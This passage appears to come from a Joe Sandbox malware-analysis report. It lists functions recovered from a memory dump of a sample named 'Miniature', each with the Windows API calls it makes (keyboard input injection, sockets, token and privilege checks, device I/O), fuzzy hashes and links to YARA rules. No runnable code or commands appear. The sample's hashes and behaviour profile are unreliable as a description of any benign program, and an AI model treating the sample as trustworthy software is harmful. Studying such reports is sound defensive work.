Opcode Fuzzy Hash: 45894c0152d2a8aefca050b73de38f2caba144761cafb288b1914639763e8215
Instruction Fuzzy Hash: 9551A9B1108311AFE321EF24DC81EABBBE8FF99704F00491DF58597291EB74A905DB92

Function 00FB492A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00FB49C0
__flush.LIBCMT ref: 00FB49E0
__write.LIBCMT ref: 00FB4A13
__flsbuf.LIBCMT ref: 00FB4A41

Part of subcall function 00FB8D58: __getptd_noexit.LIBCMT ref: 00FB8D58

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction ID: 823e315d5c66afca2ac7cdb828842693dd1ccdbc0aad6d59538036becf04791c
Opcode Fuzzy Hash: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction Fuzzy Hash: C3419531B007069BDB288E6BCA909EF7BA9AF84360B24816DE855C7642D774BD41AF44

Function 00FEA638 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00FEA68A
__itow.LIBCMT ref: 00FEA6BB

Part of subcall function 00FEA90B: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00FEA976

SendMessageW.USER32(?,0000110A,00000001,?), ref: 00FEA724
__itow.LIBCMT ref: 00FEA77B

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: 386bf8e994b2590c0c26bafd5ab83cb21351eda51b80a452745f407db3e9bc7c
Instruction ID: 81e83b743ebb58c7dced96de7ae83787c9de5b62679830923717a8c98ee4e59e
Opcode Fuzzy Hash: 386bf8e994b2590c0c26bafd5ab83cb21351eda51b80a452745f407db3e9bc7c
Instruction Fuzzy Hash: 3541A4B4E00248AFDF21EF55CC55BEE7BB9EF49760F050029F905A3281DB74A944DBA2

Function 01007095 Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 010070BC
WSAGetLastError.WSOCK32(00000000), ref: 010070CC

Part of subcall function 00F94D37: __itow.LIBCMT ref: 00F94D62
Part of subcall function 00F94D37: __swprintf.LIBCMT ref: 00F94DAC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 01007130
WSAGetLastError.WSOCK32(00000000), ref: 0100713C

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: 855db19571efd3f7a98d2bc00bbf50a25d7cc9acfcda03ea98f34e8a822b021d
Instruction ID: 14a566246648d23de4fab6684abb672fd1e36b8c991d354fe4fe782b64e15c4b
Opcode Fuzzy Hash: 855db19571efd3f7a98d2bc00bbf50a25d7cc9acfcda03ea98f34e8a822b021d
Instruction Fuzzy Hash: B541C6757003006FFB21AF28DC86F6E77E5AB14B14F048058FA959B3C2D779AC019B91

Function 01006B05 Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,01020980), ref: 01006B92
_strlen.LIBCMT ref: 01006BC4

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 1bbfff849af613a1003c72094d40d30b462e495f7511b18de5ef91226b8093ac
Instruction ID: be2563f531cd9028f844ffe7a1c4206ef80993ad6146c9eafa420ecb9181b5b4
Opcode Fuzzy Hash: 1bbfff849af613a1003c72094d40d30b462e495f7511b18de5ef91226b8093ac
Instruction Fuzzy Hash: 1D412671A00209AFEB15FB64CC91EFEB7AAEF54310F008154F84A9B2D2DB35AD11DB50

Function 01018E76 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 01018F03

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 3f2c7d9af44e29d7a72ecc235fe9dc111f128ce9422bfaa79729096d65db9ce4
Instruction ID: aec4f0ae0af804ef5835b3b04ba5ea8c1280a2cd3c77fb5ce0c98e1971baffd1
Opcode Fuzzy Hash: 3f2c7d9af44e29d7a72ecc235fe9dc111f128ce9422bfaa79729096d65db9ce4
Instruction Fuzzy Hash: FE31B034600209EEEF759A18CC48BAD3BE6EB09320F54854BFBD5D61A9C779E740CB51

Function 0101B1A9 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0101B1D2
GetWindowRect.USER32(?,?), ref: 0101B248
PtInRect.USER32(?,?,0101C6BC), ref: 0101B258
MessageBeep.USER32(00000000), ref: 0101B2C9

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 6c782fa70e9b8c14c5056296ad60f8e9019a183af2581c4aa2c44a2da9e48bb0
Instruction ID: ea15d49b67f6bf78cf56dc61a8b612ab848bfad6a0e9cb77b36ae12274ac3926
Opcode Fuzzy Hash: 6c782fa70e9b8c14c5056296ad60f8e9019a183af2581c4aa2c44a2da9e48bb0
Instruction Fuzzy Hash: 8C41AD30A00219DFDB22CF98C484AED7BF5FF49310F1480A9E9989B259D739E849CB50

Function 00FF12D5 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00FF1326
SetKeyboardState.USER32(00000080,?,00000001), ref: 00FF1342
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00FF13A8
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00FF13FA

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: cac14cdbb5659c73d158265463f469d145c25a700882a5cf8715b1b59ef73ae5
Instruction ID: f1be767c7801cde72d1a7a2b4e47a8c50fc4ef556dc8529e8cf3b6a74895d230
Opcode Fuzzy Hash: cac14cdbb5659c73d158265463f469d145c25a700882a5cf8715b1b59ef73ae5
Instruction Fuzzy Hash: 84312630D4421CEAFB31CA258809BBA7BA9BF45320F14425AF6D052AF5D3798945AB51

Function 00FF1410 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00FF1465
SetKeyboardState.USER32(00000080,?,00008000), ref: 00FF1481
PostMessageW.USER32(00000000,00000101,00000000), ref: 00FF14E0
SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00FF1532

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 6b92a76d025cdbf497654b74bbdd2f04c7a7f39cc316cb8ed77e241e7c3edd83
Instruction ID: 98e5227c6565575ec9b01bd3879b29208b9fb4972e6f4795b13b938da12e9f18
Opcode Fuzzy Hash: 6b92a76d025cdbf497654b74bbdd2f04c7a7f39cc316cb8ed77e241e7c3edd83
Instruction Fuzzy Hash: 0C312831D4021DDEFF34CA658C04BFABBA6BFC6330F18431AE691521E5D3798945AB61

Function 00FC63F5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00FC642B
__isleadbyte_l.LIBCMT ref: 00FC6459
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00FC6487
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00FC64BD

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: af3d2eec5cc2d68fa1611e51841053ca5c69fde1d24449c496f75aa9697ad0c5
Instruction ID: 0a5c28fb141049b132ebe03ba3ac06964e14caa5760750f8b52028ca0a921786
Opcode Fuzzy Hash: af3d2eec5cc2d68fa1611e51841053ca5c69fde1d24449c496f75aa9697ad0c5
Instruction Fuzzy Hash: E131AF31A08257AFDB29CE65CD46FAA7BA9FF40320F25402DF864D7191DB35E850EB50

Function 0101552B Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0101553F

Part of subcall function 00FF3B34: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00FF3B4E
Part of subcall function 00FF3B34: GetCurrentThreadId.KERNEL32 ref: 00FF3B55
Part of subcall function 00FF3B34: AttachThreadInput.USER32(00000000,?,00FF55C0), ref: 00FF3B5C

GetCaretPos.USER32(?), ref: 01015550
ClientToScreen.USER32(00000000,?), ref: 0101558B
GetForegroundWindow.USER32 ref: 01015591

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: de99b98c1081ff7395c1efcf2f1bf0c95b22faea1e49594118f8531231813f58
Instruction ID: 59dbc2ece9a4225b30a5c9236edaca52d4ea4fc63fd3de9e4e6d250ddce7f4c8
Opcode Fuzzy Hash: de99b98c1081ff7395c1efcf2f1bf0c95b22faea1e49594118f8531231813f58
Instruction Fuzzy Hash: 13312D71900208AFDB10EFB5DC85DEFB7F9EF98304F10406AE555E7241EA79AE059BA0

Function 0101CB40 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F929E2: GetWindowLongW.USER32(?,000000EB), ref: 00F929F3

GetCursorPos.USER32(?), ref: 0101CB7A
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00FCBCEC,?,?,?,?,?), ref: 0101CB8F
GetCursorPos.USER32(?), ref: 0101CBDC
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00FCBCEC,?,?,?), ref: 0101CC16

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 8bdd36ca4ce1b7ea84965d32e5b47a72c7daf816f97b3a57e665d844f7448103
Instruction ID: 2c0344268a4ec32b09a35bd0a03cc971b16f2f77b551424bd7154a3e65b2ea73
Opcode Fuzzy Hash: 8bdd36ca4ce1b7ea84965d32e5b47a72c7daf816f97b3a57e665d844f7448103
Instruction Fuzzy Hash: 4231C134600118AFEB658F58CC84EBB7FF5FB09710F444099FA8597269C3399951FBA0

Function 00FB0BC0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 00FB0BE2

Part of subcall function 00FA402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00FF7E51,?,?,00000000), ref: 00FA4041
Part of subcall function 00FA402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00FF7E51,?,?,00000000,?,?), ref: 00FA4065

_fprintf.LIBCMT ref: 00FB0C19
OutputDebugStringW.KERNEL32(?), ref: 00FE694C

Part of subcall function 00FB4CCA: _flsall.LIBCMT ref: 00FB4CE3

__setmode.LIBCMT ref: 00FB0C4E

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: b6e1314bfc74159f7f3788f8baf4259459cad8d8db0d39b8b779968ebe0f338e
Instruction ID: 2081f7232d1fca0fcd2eaef868a7ec68245afad13110fe364b6259af97b107ec
Opcode Fuzzy Hash: b6e1314bfc74159f7f3788f8baf4259459cad8d8db0d39b8b779968ebe0f338e
Instruction Fuzzy Hash: EC113D729042086EDB14B7A69C43DFE7B5DDF41320F200116F20457283DF696C42BBA1

Function 00FE9274 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FE8D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00FE8D3F
Part of subcall function 00FE8D28: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00FE8D49
Part of subcall function 00FE8D28: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00FE8D58
Part of subcall function 00FE8D28: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00FE8D5F
Part of subcall function 00FE8D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00FE8D75

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00FE92C1
_memcmp.LIBCMT ref: 00FE92E4
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00FE931A
HeapFree.KERNEL32(00000000), ref: 00FE9321

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 4b4c955c59252f8aefffac872dbde40a9fd48e2b28265b0507d771e068ec694b
Instruction ID: 224a7895e85b0bdb3e9d4c35cff08b2eca5c974c8a3aa82f54c2b82cd31fd76d
Opcode Fuzzy Hash: 4b4c955c59252f8aefffac872dbde40a9fd48e2b28265b0507d771e068ec694b
Instruction Fuzzy Hash: E621AF31E44208EFDB20DFA6C945BEEF7B8FF44311F144059E894A7290D7B5AA05EBA0

Function 0101634E Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 010163BD
SetWindowLongW.USER32(?,000000EC,00000000), ref: 010163D7
SetWindowLongW.USER32(?,000000EC,00000000), ref: 010163E5
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 010163F3

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 089eedb5f693d043ead3ee3214c863cba0bed8278eca47cbfc3f80927750023d
Instruction ID: c42f019e42763cc765c2fabed3af41d65defd53ca128fa259b23efe53f487944
Opcode Fuzzy Hash: 089eedb5f693d043ead3ee3214c863cba0bed8278eca47cbfc3f80927750023d
Instruction Fuzzy Hash: 7411E631305514AFEB15AF28CC44FBE7B99EF45320F148119F956C72D1CBAAAD01CB95

Function 00FEE45A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FEF858: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00FEE46F,?,?,?,00FEF262,00000000,000000EF,00000119,?,?), ref: 00FEF867
Part of subcall function 00FEF858: lstrcpyW.KERNEL32(00000000,?,?,00FEE46F,?,?,?,00FEF262,00000000,000000EF,00000119,?,?,00000000), ref: 00FEF88D
Part of subcall function 00FEF858: lstrcmpiW.KERNEL32(00000000,?,00FEE46F,?,?,?,00FEF262,00000000,000000EF,00000119,?,?), ref: 00FEF8BE

lstrlenW.KERNEL32(?,00000002,?,?,?,?,00FEF262,00000000,000000EF,00000119,?,?,00000000), ref: 00FEE488
lstrcpyW.KERNEL32(00000000,?,?,00FEF262,00000000,000000EF,00000119,?,?,00000000), ref: 00FEE4AE
lstrcmpiW.KERNEL32(00000002,cdecl,?,00FEF262,00000000,000000EF,00000119,?,?,00000000), ref: 00FEE4E2

Strings

cdecl, xrefs: 00FEE4D9

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 03c097064f0cbc54a1883e923a1ac167f3d5646dc34b4d425745b443a7a1045d
Instruction ID: 94351c4d7dcfb6c4d535d4cedf428c16082565c225e20d220f08018d0c2083f7
Opcode Fuzzy Hash: 03c097064f0cbc54a1883e923a1ac167f3d5646dc34b4d425745b443a7a1045d
Instruction Fuzzy Hash: 3411223A200384AFCB20AF35EC45D7A77A9FF45360B50402AF846CB290EB359940EB90

Function 00FC5312 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00FC5331

Part of subcall function 00FB593C: __FF_MSGBANNER.LIBCMT ref: 00FB5953
Part of subcall function 00FB593C: __NMSG_WRITE.LIBCMT ref: 00FB595A
Part of subcall function 00FB593C: RtlAllocateHeap.NTDLL(011A0000,00000000,00000001,?,00000004,?,?,00FB1003,?), ref: 00FB597F

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 0df0cad3cd16812d45a02b3e8da3168d517bdb9f49c9c17e0a52b73a379204a7
Instruction ID: db1461a2df82de3112467370a5b01461b32855987119ab77ca2181ae7374588f
Opcode Fuzzy Hash: 0df0cad3cd16812d45a02b3e8da3168d517bdb9f49c9c17e0a52b73a379204a7
Instruction Fuzzy Hash: 1E113832900A07AFCB302F70AD06B9A36999F54BF0B10451EF8489A090CE799881FB80

Function 00FF4365 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00FF4385
_memset.LIBCMT ref: 00FF43A6
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 00FF43F8
CloseHandle.KERNEL32(00000000), ref: 00FF4401

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
